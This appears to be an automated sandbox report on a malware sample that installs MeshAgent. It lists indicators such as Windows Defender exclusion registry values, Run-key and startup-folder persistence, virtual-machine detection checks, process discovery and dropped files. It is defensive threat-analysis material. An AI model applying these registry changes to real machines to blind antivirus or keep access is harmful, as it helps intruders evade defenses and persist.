meshagent | 10f75b9ee94260c94591ff77f665fee033e2ee1dfc1680453aeacbb89c3ac474

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files\Mesh Agent\MeshAgent.exe = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\ = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\Tasks\2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\MeshAgent.exe = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files\Mesh Agent = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\SvcCache = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\SvcCache\71309d6c = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\Mesh Agent\MeshAgent.exe = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\SvcCache = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\Tasks\netutils = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\Mesh Agent = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\netutils.exe = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 18 IoCs

resource	yara_rule
behavioral1/files/0x000700000002432d-13.dat	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/5032-47-0x00007FF7464F0000-0x00007FF746AB1000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/2856-48-0x00007FF63AE90000-0x00007FF63B451000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/1780-49-0x00007FF63AE90000-0x00007FF63B451000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/5032-63-0x00007FF7464F0000-0x00007FF746AB1000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/3352-78-0x00007FF63AE90000-0x00007FF63B451000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/5032-103-0x00007FF7464F0000-0x00007FF746AB1000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/5032-124-0x00007FF7464F0000-0x00007FF746AB1000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/5032-132-0x00007FF7464F0000-0x00007FF746AB1000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/5032-148-0x00007FF7464F0000-0x00007FF746AB1000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/1588-151-0x00007FF63AE90000-0x00007FF63B451000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/5032-158-0x00007FF7464F0000-0x00007FF746AB1000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/5032-196-0x00007FF7464F0000-0x00007FF746AB1000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/5032-247-0x00007FF7464F0000-0x00007FF746AB1000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/5032-268-0x00007FF7464F0000-0x00007FF746AB1000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/5032-289-0x00007FF7464F0000-0x00007FF746AB1000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/4780-309-0x00007FF63AE90000-0x00007FF63B451000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/5032-325-0x00007FF7464F0000-0x00007FF746AB1000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables referencing many IR and analysis tools 18 IoCs

resource	yara_rule
behavioral1/files/0x000700000002432d-13.dat	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/5032-47-0x00007FF7464F0000-0x00007FF746AB1000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/2856-48-0x00007FF63AE90000-0x00007FF63B451000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/1780-49-0x00007FF63AE90000-0x00007FF63B451000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/5032-63-0x00007FF7464F0000-0x00007FF746AB1000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/3352-78-0x00007FF63AE90000-0x00007FF63B451000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/5032-103-0x00007FF7464F0000-0x00007FF746AB1000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/5032-124-0x00007FF7464F0000-0x00007FF746AB1000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/5032-132-0x00007FF7464F0000-0x00007FF746AB1000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/5032-148-0x00007FF7464F0000-0x00007FF746AB1000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/1588-151-0x00007FF63AE90000-0x00007FF63B451000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/5032-158-0x00007FF7464F0000-0x00007FF746AB1000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/5032-196-0x00007FF7464F0000-0x00007FF746AB1000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/5032-247-0x00007FF7464F0000-0x00007FF746AB1000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/5032-268-0x00007FF7464F0000-0x00007FF746AB1000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/5032-289-0x00007FF7464F0000-0x00007FF746AB1000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/4780-309-0x00007FF63AE90000-0x00007FF63B451000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral1/memory/5032-325-0x00007FF7464F0000-0x00007FF746AB1000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools

Enumerates VirtualBox registry keys 2 TTPs 1 IoCs

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

Modify Registry

persistence privilege_escalation

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Mesh Agent\ImagePath = "\"C:\\Program Files\\Mesh Agent\\MeshAgent.exe\" "	ma_4.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.cmd	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe

Executes dropped EXE 18 IoCs

pid	Process
2856	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
1780	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
3352	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
1588	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
3780	ma_4.exe
4784	ma_4.exe
4032	MeshAgent.exe
1500	MeshAgent.exe
2284	MeshAgent.exe
976	MeshAgent.exe
1396	MeshAgent.exe
4048	MeshAgent.exe
3048	MeshAgent.exe
4780	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
1016	MeshAgent.exe
3536	MeshAgent.exe
176	MeshAgent.exe
4988	MeshAgent.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Windows security modification 2 TTPs 18 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files\Mesh Agent = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files\Mesh Agent\MeshAgent.exe = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\SvcCache\71309d6c = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\ = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\MeshAgent.exe = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\netutils.exe = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\SvcCache = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\SvcCache = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\Mesh Agent = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\Mesh Agent\MeshAgent.exe = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\Tasks\2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\Tasks\netutils = "0"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat = "C:\\Users\\Admin\\AppData\\Local\\SvcCache\\2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat = "C:\\Users\\Admin\\AppData\\Local\\SvcCache\\2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe"	reg.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Discovers running processes 1 TTPs 64 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
864	tasklist.exe
4160	tasklist.exe
4380	tasklist.exe
464	tasklist.exe
1268	tasklist.exe
912	tasklist.exe
4208	tasklist.exe
1344	tasklist.exe
1452	tasklist.exe
2272	tasklist.exe
432	tasklist.exe
2392	tasklist.exe
2280	tasklist.exe
1276	tasklist.exe
4156	tasklist.exe
4860	tasklist.exe
1976	tasklist.exe
4484	tasklist.exe
3288	tasklist.exe
5020	tasklist.exe
1272	tasklist.exe
2548	tasklist.exe
2400	tasklist.exe
4520	tasklist.exe
432	tasklist.exe
4352	tasklist.exe
1380	tasklist.exe
3292	tasklist.exe
684	tasklist.exe
4168	tasklist.exe
3708	tasklist.exe
224	tasklist.exe
5020	tasklist.exe
4384	tasklist.exe
3292	tasklist.exe
4880	tasklist.exe
4260	tasklist.exe
452	tasklist.exe
2280	tasklist.exe
3864	tasklist.exe
3516	tasklist.exe
5104	tasklist.exe
4448	tasklist.exe
4620	tasklist.exe
4560	tasklist.exe
4796	tasklist.exe
2308	tasklist.exe
3796	tasklist.exe
5060	tasklist.exe
1344	tasklist.exe
1540	tasklist.exe
760	tasklist.exe
4980	tasklist.exe
4240	tasklist.exe
2404	tasklist.exe
820	tasklist.exe
5052	tasklist.exe
3312	tasklist.exe
3708	tasklist.exe
4468	tasklist.exe
624	tasklist.exe
2544	tasklist.exe
4236	tasklist.exe
3092	tasklist.exe

Drops file in System32 directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\dll\gdiplus.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\combase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\DLL\bcrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\msvcrt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\MeshService64.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ws2_32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\user32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\kernelbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\rpcrt4.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ws2_32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\user32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\05FEF7A82053AA563E4586053309086DD8F5E0E2	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\ntdll.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\ncrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\advapi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\DLL\kernel32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\Kernel.Appcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\DLL\iphlpapi.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\dbghelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\ntasn1.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\Kernel.Appcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\shcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\shcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\ntdll.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dbgcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\sechost.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\win32u.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\msvcp_win.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\crypt32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\DLL\iphlpapi.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dbghelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\Kernel.Appcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\shcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\MeshService64.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\combase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\win32u.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\dbghelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\dbghelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ntdll.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\crypt32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\advapi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\shell32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\msvcp_win.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\sechost.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\combase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\user32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\kernelbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\gdi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\exe\MeshService64.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\shcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\ws2_32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\gdi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\DLL\kernel32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\gdi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\gdiplus.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\msvcrt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\exe\MeshService64.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\comctl32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\iphlpapi.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\ntdll.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\bcryptprimitives.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\advapi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\crypt32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\gdi32.pdb	MeshAgent.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Mesh Agent\symbols\dll\ntasn1.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\ws2_32.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\MeshAgent.log	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\symbols\dll\rpcrt4.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\symbols\dll\msvcrt.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\iphlpapi.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\symbols\DLL\dbgcore.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\dll\bcryptprimitives.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\symbols\exe\MeshService64.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\DLL\dbgcore.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\dll\bcryptprimitives.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\MeshAgent.db	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\dll\ntasn1.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\symbols\exe\MeshService64.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\symbols\dll\ntdll.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\combase.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\symbols\dll\crypt32.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\advapi32.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\symbols\dll\msvcp_win.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\DLL\kernel32.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\symbols\dll\shcore.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\dll\win32u.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\dll\comctl32.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\MeshService64.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\symbols\dll\msvcp_win.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\dll\ntasn1.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\dll\combase.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\bcrypt.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\dll\sechost.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\symbols\dll\ntasn1.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\dll\comctl32.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\msvcrt.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\advapi32.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\symbols\dll\Kernel.Appcore.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\dll\shcore.pdb	MeshAgent.exe
